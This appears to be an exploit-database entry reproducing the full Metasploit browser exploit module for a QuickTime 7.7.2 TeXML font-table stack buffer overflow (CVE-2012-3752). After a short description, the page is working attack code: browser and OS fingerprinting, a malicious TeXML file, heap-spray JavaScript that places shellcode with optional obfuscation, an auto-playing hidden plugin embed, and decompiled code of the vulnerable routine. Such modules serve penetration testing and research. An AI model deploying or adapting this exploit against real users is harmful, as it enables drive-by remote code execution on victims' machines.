Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow

2012-11-22T18:56:12
ID MSF:EXPLOIT/WINDOWS/BROWSER/APPLE_QUICKTIME_TEXML_FONT_TABLE
Type metasploit
Reporter Rapid7
Modified 2017-10-05T21:44:36

Description

This module exploits a vulnerability found in Apple QuickTime. When handling a TeXML file, it is possible to trigger a stack-based buffer overflow, and then gain arbitrary code execution under the context of the user. This is due to the QuickTime3GPP.gtx component not handling certain Style subfields properly, as the font-table field, which is used to trigger the overflow in this module. Because of QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :javascript => true,
  #  :rank       => NormalRanking
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability found in Apple QuickTime. When handling
        a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
        gain arbitrary code execution under the context of the user.  This is due to the
        QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
        font-table field, which is used to trigger the overflow in this module. Because of
        QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
        used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
        has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
      },
      'Author'         =>
        [
          'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
          'juan vazquez' # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '87087' ],
          [ 'CVE', '2012-3752' ],
          [ 'BID', '56557' ],
          [ 'URL', 'http://support.apple.com/kb/HT5581' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space' => 1000,
        },
      'Platform' => 'win',

      'Targets'  =>
        [
          # Tested with QuickTime 7.7.2
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3', {} ],
          [ 'Firefox 3.5 on Windows XP SP3', {} ],
          [ 'Firefox 3.5.1 on Windows XP SP3', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 07 2012',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ])
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

    browser_name = ""
    if agent =~ /MSIE/
      browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''
      browser_name = "IE #{browser_version}"
    elsif agent =~ /Firefox\/3.5$/
      browser_name = "Firefox 3.5 "
    elsif agent =~ /Firefox\/3.5.1$/
      browser_name = "Firefox 3.5.1"
    elsif agent =~ /Opera\/9/
      browser_name = "Opera"
    end

    case nt
      when '5.1'
        os_name = 'Windows XP SP3'
      when '6.0'
        os_name = 'Windows Vista'
      when '6.1'
        os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end


  def on_request_uri(client, request)

    return if ((p = regenerate_payload(client)) == nil)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    if request.uri =~ /\.3gp/
      print_status("Sending exploit TEXML (target: #{my_target.name})")

      my_payload = "1" * (1024*16)

      texml = <<-eos
<?xml version="1.0"?>
<?quicktime type="application/x-quicktime-texml"?>

<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
  language="eng" timeScale="600"
  transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
  <sample duration="2400" keyframe="true">

    <description format="tx3g" displayFlags="ScrollIn"
      horizontalJustification="Left"
      verticalJustification="Top"
      backgroundColor="0%, 0%, 0%, 100%">

      <defaultTextBox x="0" y="0" width="176"  height="60"/>
      <fontTable>
        <font id="1" name="Times"/>
      </fontTable>

      <sharedStyles>
      <style id="1">
        {font-table: #{my_payload}}
        {font-style:normal}
        {font-weight: normal}
        {font-size:  10}
        {line-height: 100%}
        {text-align: right}
        {text-decoration: underline}
        {color: 100%, 100%, 100%, 100%}
        {backgroundcolor: 100%, 100%, 100%, 100%}
      </style>
      </sharedStyles>
    </description>

    <sampleData scrollDelay="200"
      highlightColor="25%, 45%, 65%, 100%"
      targetEncoding="utf8">

      <textBox x="10" y="10" width="156"  height="40"/>
        <text styleID="1">What you need... Metasploit!</text>
        <highlight startMarker="1" endMarker="2"/>
        <blink startMarker="3" endMarker="4"/>
    </sampleData>
  </sample>
</text3GTrack>
      eos

      send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })

    else
      print_status("Sending initial HTML")

      url =  ((datastore['SSL']) ? "https://" : "http://")
      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
      url << ":" + datastore['SRVPORT'].to_s
      url << get_resource

      fname = rand_text_alphanumeric(4)

      #ARCH used by the victim machine
      arch = Rex::Arch.endian(my_target.arch)
      nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
      code = Rex::Text.to_unescape(payload.encoded, arch)
      randnop = rand_text_alpha(rand(100) + 1)

      # Spray puts payload on 0x31313131
      if my_target.name =~ /IE/
        spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{code}");
var #{randnop} = "#{nops}";
var nops = unescape(#{randnop});

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, 0x800 - code.length);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var i=0; i < 1600; i++) {
  heap_obj.alloc(block);
}
        JS

        #Use heaplib
        js_spray = heaplib(spray)

        #obfuscate on demand
        if datastore['OBFUSCATE']
          js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
          js_spray.obfuscate(memory_sensitive: true)
        end
      else
        js_spray = <<-JS
var shellcode = unescape("#{code}");
var #{randnop} = "#{nops}";
var bigblock = unescape(#{randnop});
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
        JS
      end

      content =  "<html>"
      content << <<-JSPRAY
<head>
<script>
#{js_spray}
</script>
</head>
      JSPRAY
      content << "<body>"

      content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC"        VALUE = "#{url}/#{fname}.3gp">
<PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.3gp">
<PARAM name="AUTOPLAY"   VALUE = "true"               >
<PARAM name="TYPE"       VALUE = "video/quicktime"    >
<PARAM name="TARGET"     VALUE = "myself"             >
<EMBED
  SRC        = "#{url}/#{fname}.3gp"
  QTSRC      = "#{url}/#{fname}.3gp"
  TARGET     = "myself"
  WIDTH      = "1"
  HEIGHT     = "1"
  AUTOPLAY   = "true"
  PLUGIN     = "quicktimeplugin"
  TYPE       = "video/quicktime"
  CACHE      = "false"
  PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
        ENDEMBED

      content << "</body></html>"

      send_response(client, content, { 'Content-Type' => "text/html" })
    end
  end
end


=begin
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)

int __fastcall sub_67EED2B0(int a1, int a2)
{
  int result; // eax@1
  unsigned __int8 v3; // cl@2

  for ( result = 0; ; ++result )
  {
    v3 = *(_BYTE *)a2++ - 0x30;
    if ( v3 > 9u )
      break;
  }
  return result;
}
=end